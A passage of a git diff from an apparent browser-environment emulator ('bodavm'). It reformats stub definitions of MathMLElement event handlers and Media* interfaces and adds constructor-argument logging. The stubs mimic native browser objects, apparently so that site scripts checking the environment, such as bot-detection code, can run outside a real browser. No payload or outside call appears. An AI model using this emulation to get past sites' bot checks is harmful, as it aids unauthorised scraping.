enumerable: true, + get: function onwebkitanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationend_get", arguments); + }, + set: function onwebkitanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onwebkitanimationiteration", { + configurable: true, + enumerable: true, + get: function onwebkitanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationiteration_get", arguments); + }, + set: function onwebkitanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationiteration_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onwebkitanimationstart", { + configurable: true, + enumerable: true, + get: function onwebkitanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationstart_get", arguments); + }, + set: function onwebkitanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onwebkittransitionend", { + configurable: true, + enumerable: true, + get: function onwebkittransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkittransitionend_get", arguments); + }, + set: function onwebkittransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkittransitionend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onwheel", { + configurable: true, + enumerable: true, + get: function onwheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwheel_get", arguments); + }, + set: function onwheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwheel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onauxclick", { + configurable: true, + enumerable: true, + get: function onauxclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onauxclick_get", arguments); + }, + set: function onauxclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onauxclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ongotpointercapture", { + configurable: true, + enumerable: true, + get: function ongotpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ongotpointercapture_get", arguments); + }, + set: function ongotpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ongotpointercapture_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onlostpointercapture", { + configurable: true, + enumerable: true, + get: function onlostpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onlostpointercapture_get", arguments); + }, + set: function onlostpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onlostpointercapture_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerdown", { + configurable: true, + enumerable: true, + get: function onpointerdown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerdown_get", arguments); + }, + set: function onpointerdown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerdown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onpointermove", { + configurable: true, + enumerable: true, + get: function onpointermove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointermove_get", arguments); + }, + set: function onpointermove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointermove_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerrawupdate", { + configurable: true, + enumerable: true, + get: function onpointerrawupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerrawupdate_get", arguments); + }, + set: function onpointerrawupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerrawupdate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerup", { + configurable: true, + enumerable: true, + get: function onpointerup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerup_get", arguments); + }, + set: function onpointerup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onpointercancel", { + configurable: true, + enumerable: true, + get: function onpointercancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointercancel_get", arguments); + }, + set: function onpointercancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointercancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerover", { + configurable: true, + enumerable: true, + get: function onpointerover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerover_get", arguments); + }, + set: function onpointerover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerout", { + configurable: true, + enumerable: true, + get: function onpointerout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerout_get", arguments); + }, + set: function onpointerout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerout_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerenter", { + configurable: true, + enumerable: true, + get: function onpointerenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerenter_get", arguments); + }, + set: function onpointerenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerleave", { + configurable: true, + enumerable: true, + get: function onpointerleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerleave_get", arguments); + }, + set: function onpointerleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onselectstart", { + configurable: true, + enumerable: true, + get: function onselectstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselectstart_get", arguments); + }, + set: function onselectstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselectstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onselectionchange", { + configurable: true, + enumerable: true, + get: function onselectionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselectionchange_get", arguments); + }, + set: function onselectionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselectionchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onanimationend", { + configurable: true, + enumerable: true, + get: function onanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationend_get", arguments); + }, + set: function onanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onanimationiteration", { + configurable: true, + enumerable: true, + get: function onanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationiteration_get", arguments); + }, + set: function onanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationiteration_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onanimationstart", { + configurable: true, + enumerable: true, + get: function onanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationstart_get", arguments); + }, + set: function onanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ontransitionrun", { + configurable: true, + enumerable: true, + get: function ontransitionrun() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionrun_get", arguments); + }, + set: function ontransitionrun() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionrun_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ontransitionstart", { + configurable: true, + enumerable: true, + get: function ontransitionstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionstart_get", arguments); + }, + set: function ontransitionstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ontransitionend", { + configurable: true, + enumerable: true, + get: function ontransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionend_get", arguments); + }, + set: function ontransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ontransitioncancel", { + configurable: true, + enumerable: true, + get: function ontransitioncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitioncancel_get", arguments); + }, + set: function ontransitioncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitioncancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oncopy", { + configurable: true, + enumerable: true, + get: function oncopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncopy_get", arguments); + }, + set: function oncopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncopy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oncut", { + configurable: true, + enumerable: true, + get: function oncut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncut_get", arguments); + }, + set: function oncut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncut_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onpaste", { + configurable: true, + enumerable: true, + get: function onpaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpaste_get", arguments); + }, + set: function onpaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpaste_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "dataset", { + configurable: true, + enumerable: true, + get: function dataset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "dataset_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "nonce", { + configurable: true, + enumerable: true, + get: function nonce() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "nonce_get", arguments); + }, + set: function nonce() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "nonce_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "autofocus", { + configurable: true, + enumerable: true, + get: function autofocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "autofocus_get", arguments); + }, + set: function autofocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "autofocus_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "tabIndex", { + configurable: true, + enumerable: true, + get: function tabIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "tabIndex_get", arguments); + }, + set: function tabIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "tabIndex_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "style", { + configurable: true, + enumerable: true, + get: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "style_get", arguments); + }, + set: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "style_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "attributeStyleMap", { + configurable: true, + enumerable: true, + get: function attributeStyleMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "attributeStyleMap_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "blur", { + configurable: true, + enumerable: true, + writable: true, + value: function blur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "blur", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "focus", { + configurable: true, + enumerable: true, + writable: true, + value: function focus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "focus", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oncontentvisibilityautostatechange", { + configurable: true, + enumerable: true, + get: function oncontentvisibilityautostatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontentvisibilityautostatechange_get", arguments); + }, + set: function oncontentvisibilityautostatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontentvisibilityautostatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onbeforematch", { + configurable: true, + enumerable: true, + get: function onbeforematch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforematch_get", arguments); + }, + set: function onbeforematch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforematch_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaCapabilities.js b/env_xbb_lastest_jsdom/env/MediaCapabilities.js index 891c1aa8..491d46fc 100644 --- a/env_xbb_lastest_jsdom/env/MediaCapabilities.js +++ b/env_xbb_lastest_jsdom/env/MediaCapabilities.js @@ -1,5 +1,33 @@ -// MediaCapabilities对象 -bodavm.memory.globalobj['MediaCapabilities'] = function MediaCapabilities(){if (!(this instanceof MediaCapabilities)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaCapabilities'], "MediaCapabilities"); -bodavm.toolsFunc.defineProperty('MediaCapabilities', "decodingInfo", {configurable:true, enumerable:true, writable:true, value:function decodingInfo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaCapabilities'].prototype, "MediaCapabilities", "decodingInfo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaCapabilities', "encodingInfo", {configurable:true, enumerable:true, writable:true, value:function encodingInfo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaCapabilities'].prototype, "MediaCapabilities", "encodingInfo", arguments)}},'prototype'); +// MediaCapabilities对象 + +bodavm.memory.globalobj['MediaCapabilities'] = function MediaCapabilities() { + console.log_copy('MediaCapabilities 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaCapabilities)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaCapabilities'], "MediaCapabilities"); +bodavm.toolsFunc.defineProperty('MediaCapabilities', "decodingInfo", { + configurable: true, + enumerable: true, + writable: true, + value: function decodingInfo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaCapabilities'].prototype, "MediaCapabilities", "decodingInfo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaCapabilities', "encodingInfo", { + configurable: true, + enumerable: true, + writable: true, + value: function encodingInfo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaCapabilities'].prototype, "MediaCapabilities", "encodingInfo", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaDeviceInfo.js b/env_xbb_lastest_jsdom/env/MediaDeviceInfo.js index 1771fc20..69b3c8bc 100644 --- a/env_xbb_lastest_jsdom/env/MediaDeviceInfo.js +++ b/env_xbb_lastest_jsdom/env/MediaDeviceInfo.js @@ -1,8 +1,57 @@ -// MediaDeviceInfo对象 -bodavm.memory.globalobj['MediaDeviceInfo'] = function MediaDeviceInfo(){if (!(this instanceof MediaDeviceInfo)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaDeviceInfo'], "MediaDeviceInfo"); -bodavm.toolsFunc.defineProperty('MediaDeviceInfo', "deviceId", {configurable:true, enumerable:true, get:function deviceId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDeviceInfo'].prototype, "MediaDeviceInfo", "deviceId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaDeviceInfo', "kind", {configurable:true, enumerable:true, get:function kind (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDeviceInfo'].prototype, "MediaDeviceInfo", "kind_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaDeviceInfo', "label", {configurable:true, enumerable:true, get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDeviceInfo'].prototype, "MediaDeviceInfo", "label_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaDeviceInfo', "groupId", {configurable:true, enumerable:true, get:function groupId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDeviceInfo'].prototype, "MediaDeviceInfo", "groupId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaDeviceInfo', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDeviceInfo'].prototype, "MediaDeviceInfo", "toJSON", arguments)}},'prototype'); +// MediaDeviceInfo对象 + +bodavm.memory.globalobj['MediaDeviceInfo'] = function MediaDeviceInfo() { + console.log_copy('MediaDeviceInfo 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaDeviceInfo)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaDeviceInfo'], "MediaDeviceInfo"); +bodavm.toolsFunc.defineProperty('MediaDeviceInfo', "deviceId", { + configurable: true, + enumerable: true, + get: function deviceId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDeviceInfo'].prototype, "MediaDeviceInfo", "deviceId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaDeviceInfo', "kind", { + configurable: true, + enumerable: true, + get: function kind() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDeviceInfo'].prototype, "MediaDeviceInfo", "kind_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaDeviceInfo', "label", { + configurable: true, + enumerable: true, + get: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDeviceInfo'].prototype, "MediaDeviceInfo", "label_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaDeviceInfo', "groupId", { + configurable: true, + enumerable: true, + get: function groupId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDeviceInfo'].prototype, "MediaDeviceInfo", "groupId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaDeviceInfo', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDeviceInfo'].prototype, "MediaDeviceInfo", "toJSON", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaDevices.js b/env_xbb_lastest_jsdom/env/MediaDevices.js index 0a300d1d..f1fbcd9b 100644 --- a/env_xbb_lastest_jsdom/env/MediaDevices.js +++ b/env_xbb_lastest_jsdom/env/MediaDevices.js @@ -1,11 +1,69 @@ -// MediaDevices对象 -bodavm.memory.globalobj['MediaDevices'] = function MediaDevices(){if (!(this instanceof MediaDevices)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaDevices'], "MediaDevices"); -bodavm.memory.globalobj['MediaDevices'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['MediaDevices'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('MediaDevices', "enumerateDevices", {configurable:true, enumerable:true, writable:true, value:function enumerateDevices (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "enumerateDevices", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaDevices', "getSupportedConstraints", {configurable:true, enumerable:true, writable:true, value:function getSupportedConstraints (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "getSupportedConstraints", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaDevices', "getUserMedia", {configurable:true, enumerable:true, writable:true, value:function getUserMedia (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "getUserMedia", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaDevices', "ondevicechange", {configurable:true, enumerable:true, get:function ondevicechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "ondevicechange_get", arguments)}, set:function ondevicechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "ondevicechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaDevices', "getDisplayMedia", {configurable:true, enumerable:true, writable:true, value:function getDisplayMedia (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "getDisplayMedia", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaDevices', "setCaptureHandleConfig", {configurable:true, enumerable:true, writable:true, value:function setCaptureHandleConfig (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "setCaptureHandleConfig", arguments)}},'prototype'); +// MediaDevices对象 + +bodavm.memory.globalobj['MediaDevices'] = function MediaDevices() { + console.log_copy('MediaDevices 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaDevices)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaDevices'], "MediaDevices"); +bodavm.memory.globalobj['MediaDevices'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['MediaDevices'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('MediaDevices', "enumerateDevices", { + configurable: true, + enumerable: true, + writable: true, + value: function enumerateDevices() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "enumerateDevices", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaDevices', "getSupportedConstraints", { + configurable: true, + enumerable: true, + writable: true, + value: function getSupportedConstraints() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "getSupportedConstraints", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaDevices', "getUserMedia", { + configurable: true, + enumerable: true, + writable: true, + value: function getUserMedia() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "getUserMedia", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaDevices', "ondevicechange", { + configurable: true, + enumerable: true, + get: function ondevicechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "ondevicechange_get", arguments); + }, + set: function ondevicechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "ondevicechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaDevices', "getDisplayMedia", { + configurable: true, + enumerable: true, + writable: true, + value: function getDisplayMedia() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "getDisplayMedia", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaDevices', "setCaptureHandleConfig", { + configurable: true, + enumerable: true, + writable: true, + value: function setCaptureHandleConfig() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "setCaptureHandleConfig", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaElementAudioSourceNode.js b/env_xbb_lastest_jsdom/env/MediaElementAudioSourceNode.js index 1eb49773..3c4f5088 100644 --- a/env_xbb_lastest_jsdom/env/MediaElementAudioSourceNode.js +++ b/env_xbb_lastest_jsdom/env/MediaElementAudioSourceNode.js @@ -1,6 +1,27 @@ -// MediaElementAudioSourceNode对象 -bodavm.memory.globalobj['MediaElementAudioSourceNode'] = function MediaElementAudioSourceNode(){if (!(this instanceof MediaElementAudioSourceNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaElementAudioSourceNode': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaElementAudioSourceNode'], "MediaElementAudioSourceNode"); -bodavm.memory.globalobj['MediaElementAudioSourceNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['MediaElementAudioSourceNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('MediaElementAudioSourceNode', "mediaElement", {configurable:true, 